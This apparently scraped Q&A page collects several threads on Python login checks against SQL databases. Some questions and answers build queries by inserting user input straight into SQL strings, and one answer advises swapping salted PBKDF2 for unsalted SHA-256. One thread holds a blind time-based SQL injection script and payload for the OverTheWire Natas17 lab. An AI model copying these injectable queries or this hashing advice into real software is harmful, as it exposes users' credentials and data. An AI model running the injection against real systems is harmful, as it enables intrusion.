I have HTML form for getting the name and the password .And python codes are used to get that enter data and store in variable first_name and password.
For given name stored password is fetched from database using WHERE clause .
By using if condition I have tried to compare the password fetched from database and password entered from form.If they are equal then do some action .If not do some other condition .But the problem is i am not able to understand how to assign the if condition .
What i tried is as given below.:
#!"C:\python34\python.exe"
import cgitb ,cgi
import sys
import mysql.connector
cgitb.enable()
form = cgi.FieldStorage()
print("Content-Type: text/html;charset=utf-8")
print()
# Get data from fields
first_name = form.getvalue('first_name')
password = form.getvalue('pass')
print (password)
conn = mysql.connector.connect(host='localhost',port='8051',
database='test',
user='root',
password='next')
cursor = conn.cursor()
if conn.is_connected():
print('Connected to MySQL database')
cursor.execute("""SELECT pass FROM tablename1 where name = '%s'""" % (first_name))
for row in cursor():
if(password == row):
print("sucess")
else:
print("fail")
Please check my code.And give some suggestion.
When a user registers for the first time, you should save his password like this:
$password = password_hash("rasmuslerdorf", PASSWORD_DEFAULT);
This should output something like $2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a
And you should store it in your database.
Then you should verify passwords like this:
<?php
$hash = '$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq'; // you get it from your database
if (password_verify('rasmuslerdorf', $hash)) { // 'rasmuslerdorf' is what user entered
echo 'Password is valid!';
} else {
echo 'Invalid password.';
}
?>
Now, what is a hash? Please read this.
EDIT: you mean something like this?
cursor.execute("SELECT * FROM users WHERE username= ? and password= ?",
(username, pass1))
found = cursor.fetchone()
if found:
# user exists and password matches
else:
# user does not exist or password does not match
Related
I have created a login/signup script in python using sqlite3 and kivy. Affter creating the database, the user can enter their username, email and password. The password is hashed before being inserted into the database. The signup function works, however I am having an error with validating the user's username and password with those in the database, where the code outputs 'login sucessful' after a wrong username/password.
def login_menu_press(self):
login = False
lusername = self.login_username.text
lpassword = self.login_password.text
print(f"Your username is {lusername}, and your password is {lpassword}.")
self.login_username.text = ""
self.login_password.text = ""
# Hashing inputted password
context = CryptContext(
schemes=["pbkdf2_sha256"],
default="pbkdf2_sha256",
# More rounds = more secure, but slower to hash
pbkdf2_sha256__default_rounds=50000
)
# Hash the inputted password
hash_pass = context.hash(lpassword)
# Connect to database
conn = sqlite3.connect('users.db')
# Create cursor
c = conn.cursor()
# Query database
command = f"SELECT * from users WHERE username='{lusername}' AND Password = '{hash_pass}';"
c.execute(command)
if not c.fetchone():
print("Login successful")
login = True
else:
print("Login failed")
I belive that the error persits after the Query database comment, any help is appreciated, thanks!
I excpeted that login sucessful outputs when the username and password is supposed to be correct, which is correct. However, the code outputs this again when the username and password is anything else random.
Edit the password inputted by the user is hashed with the same algorithm that was used to hash the password that the user signs up with, therefore the hashed values will be the same.
Hash alghoritm which you used use salt, thus for exatly same input string it will output different hash values:
# Hash the inputted password
lpassword = "Rambo"
hash_pass = context.hash(lpassword)
print(hash_pass)
hash_pass = context.hash(lpassword)
print(hash_pass)
hash_pass = context.hash(lpassword)
print(hash_pass)
$pbkdf2-sha256$50000$wniP0br3XguBsJbSuvc.xw$vmebKLd0Uvz4IF7DbX/TzCgD5p1/cmPYApaf2eKeZ4w
$pbkdf2-sha256$50000$wJjT2tv7H8NY633vXYvROg$D0CxPTfO8jIaLPHvUtawhzKMX75LqDYSNa.z3Bf/58s
$pbkdf2-sha256$50000$tZbSWmvNmdPau9eas1ZKaQ$qMVGQWPtlLvFZ/WlG.iDO7.jIHhFiirMZw0gysfqXhs
So there is no way to match previously inserted and hashed password value. You have to use hash function which will always generate same value for same input string, like SHA-256 for instance. Replace:
hash_pass = context.hash(lpassword)
with:
import hashlib # on top of main.py
hash_pass = hashlib.sha256(lpassword.encode()).hexdigest()
And comment out this part of code:
context = CryptContext(
schemes=["pbkdf2_sha256"],
default="pbkdf2_sha256",
# More rounds = more secure, but slower to hash
pbkdf2_sha256__default_rounds=50000
)
Also you you have to change your condition: if not c.fetchone(): to if c.fetchone():
// SELECT
myDatabaseCursor.execute("SELECT username, password FROM member")
myDatabase.commit()
// get data from form to make a tuple
userCheck = (request.form["signInUsername"], request.form["signInPassword"])
// iterate selected data tuple into a list
results = []
for selectedData in myDatabaseCursor:
results.append(selectedData)
// check if there is a match in MySQL database
if userCheck in results:
session["status"]="logged"
session["user_name"]=request.form["signInUsername"]
return redirect("/member")
else:
return redirect("/error/?message=wrong username or password")
When I ran my server and tried typing in the username and the right password, successfully logged in; tried typing in the username and the wrong password, which, didn't have any match in the database, got rejected logging in. ALL GOOD...
BUT, when I tried typing in the username and the wrong password, which, HAS A MATCH IN THE PASSWORD COLUMN THOUGH DOESN'T BELONG TO THE RIGHT USERNAME, still successfully logged in.
I am really confused now, hope you guys have any idea about this situation.
Thanks, appreciate your replies.
You could change your query to support WHERE clause. Something along the lines of:
# get data from form to make a tuple
username, password = (
request.form["signInUsername"],
request.form["signInPassword"]
)
# SELECT
myDatabaseCursor.execute(
"""
SELECT username, password
FROM member
WHERE username = '{username}' AND password = '{password}'
""".format(username=username, password=password)
)
myDatabase.commit()
# set userCheck to True or False if the myDatabaseCursor result is not empty..
# TODO
# if row was in returned table
if userCheck:
session["status"]="logged"
session["user_name"]=request.form["signInUsername"]
return redirect("/member")
else:
return redirect("/error/?message=wrong username or password")
Probably the problem lies in the session['status']. You never set it to e.g. "unlogged", so if you don't close the browser, the status will always be 'logged' after first successful login.
Try to initialize your variable at the beginning of the script, i.e. session["status"]=None and then in every other page check that the status is actually 'Logged' as you're probably already doing.
session["status"]=None
// SELECT
myDatabaseCursor.execute("SELECT username, password FROM member")
myDatabase.commit()
// get data from form to make a tuple
userCheck = (request.form["signInUsername"], request.form["signInPassword"])
// iterate selected data tuple into a list
results = []
for selectedData in myDatabaseCursor:
results.append(selectedData)
// check if there is a match in MySQL database
if userCheck in results:
session["status"]="logged"
session["user_name"]=request.form["signInUsername"]
return redirect("/member")
else:
return redirect("/error/?message=wrong username or password")
In any case, for the sake of best practice, you should amend your code to apply the logic depicted by #matthewking, retrieving just the password you need to check.
import requests
import re
import logging
import timeit
'''
The database servername is natas17
The database name is natas17
The Table Name is : users
The Table Columns are : username & password
SELECT * from users where username="%" AND 1=SLEEP(3)
'''
URL = 'http://natas17.natas.labs.overthewire.org/?debug'
username = 'natas17'
password = '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'
characters = 'abcdefghijklmnopqrstuvwxyz'\
'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\
'0123456789'
for ch2 in characters:
query = '\b\b\b\b\b\b\b\b\b\bBINARY password LIKE "'+ch2+'%" AND SLEEP(5) #'
response = requests.post(URL, auth = (username , password) , data = {"username":query} )
data = re.search (r'Executing query.+<br>',response.text).group(0)
print data
http://natas17.natas.labs.overthewire.org/index-source.html\
password : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
So I am running an SQL injection on the Natas17 on OverTheWire, but the query I am putting in doesn't work.
SELECT * FROM users WHERE BINARY password LIKE "a%" AND SLEEP(5)
SELECT * FROM users WHERE BINARY password LIKE "b%" AND SLEEP(5)
SELECT * FROM users WHERE BINARY password LIKE "c%" AND SLEEP(5)
....
But the query result do not pause anywhere, but I know that the password starts with 'x'.
Can someone please find out the issue with my query?
Could the \b be causing the error?
Don't forget the " at the end of the query, the request should be like
password LIKE BINARY "a%" AND SLEEP(5) AND "1"="1
I am trying to create protected code which doesn't leave itself open for SQL Injection attacks. Currently, I want to create 3 users with different passwords. Here is what is looks like:
import psycopg2
from psycopg2 import connect, extensions, sql
# Importing a 0 integer so the process can pass without bothering w/ extensions
from psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT
user1 = "jimmy"
user2 = "ray"
user3 = "billy"
secret1 = "gelatto"
secret3 = "cookies"
secret2 = "vanilla"
cursor.execute(sql.SQL("CREATE USER {users} WITH PASSWORD {password}")
.format(users=sql.Identifier(user1),
password=sql.Identifier(secret1)))
cursor.execute(sql.SQL("CREATE USER {users} WITH PASSWORD {password}")
.format(users=sql.Identifier(user2),
password=sql.Identifier(secret2)))
cursor.execute(sql.SQL("CREATE USER {users} WITH PASSWORD {password}")
.format(users=sql.Identifier(user3),
password=sql.Identifier(secret3)))
cursor.execute(sql.SQL("GRANT {role} TO {user}")
.format(role=sql.Identifier(readWrite),
user=sql.Identifier(user1)))
cursor.execute(sql.SQL("GRANT {role} TO {user}")
.format(role=sql.Identifier(readWrite),
user=sql.Identifier(user2)))
cursor.execute(sql.SQL("GRANT {role} TO {user}")
.format(role=sql.Identifier(readOnly),
user=sql.Identifier(user3)))
However, I receive an error to since the passwords are being closed in " " when they need to be ' '. Can anybody help me out on how they figured this out?
LINE 1: CREATE USER "jimmy" WITH PASSWORD "gelatto"
In case you are looking for pointers, I would write this script like so:
import collections
import psycopg2
from psycopg2 import connect, extensions, sql
# Importing a 0 integer so the process can pass without bothering w/ extensions
from psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT
NewUser = collections.namedtuple('NewUser', 'username password access')
users = [
NewUser('jimmy', 'gelatto', 'readwrite'),
NewUser('ray', 'cookies', 'readwrite'),
NewUser('billy', 'vanilla', 'readonly')
]
with psycopg2.connect('dbname=morganek') as conn:
cur: psycopg2.extensions.cursor = conn.cursor()
for user in users:
cur.execute(
sql.SQL("create user {username} with password %s")
.format(username=sql.Identifier(user.username)),
(user.password, )
)
cur.execute(
sql.SQL("grant {access} to {username}")
.format(
access=sql.Identifier(user.access),
username=sql.Identifier(user.username)
)
)
conn.commit()
I am trying to make a register-login system in Python 3, but when I check if the Email address already exists or not, it always says that it doesn't. I inserted an email and a password in the "users" table and when asked I used that same email address in this script but it still says that it doesn't exist. I have little to none experience in MySQL and thought that this may be a nice project to start with. Thank you.
import cymysql
from getpass import getpass
def get_user_info():
while True:
email = input("Input your Email address (max. 64 chars.): ")
password = getpass("Input a password (max. 64 chars.): ")
if len(email) < 64 and len(password) < 64:
return email, password
def check_account(cur, email, password):
if(cur.execute(f"SELECT * FROM `users` WHERE `Email`='{email}' LIMIT 1")):
print("exist")
else:
print("no exist")
def main():
conn = cymysql.connect(
host='192.168.0.109',
user='root',
passwd='',
db='database'
)
cur = conn.cursor()
email = ''
password = ''
email, password = get_user_info()
check_account(cur, email, password)
cur.close()
conn.close()
if __name__ == '__main__':
main()
Disclaimer: I have yet to use cymysql – any code attached below is untested.
First, note that CyMySQL is a forked project of PyMySQL[1] so I will refer to documentation from PyMySQL.
From pymysql.cursors.Cursor.execute documentation:
execute(query, args=None)
Execute a query
Parameters:
query (str) – Query to execute.
args (tuple, list or dict) – parameters used with query. (optional)
Returns: Number of affected rows
Return type: int
The important thing to consider is the execute function returns: the number of affected rows. A SELECT query will not affect any rows, thus the function will return 0 and your function will print no exist reasonably.
Use fetchone to check that at least one row was returned.
def check_account(cur, email, password):
cur.execute(f"SELECT * FROM `users` WHERE `email`=%s LIMIT 1", (email,))
row = cur.fetchone()
if row:
print("exist")
else:
print("no exist")
(I rewrote your cur.execute call in consideration of my earlier comment.)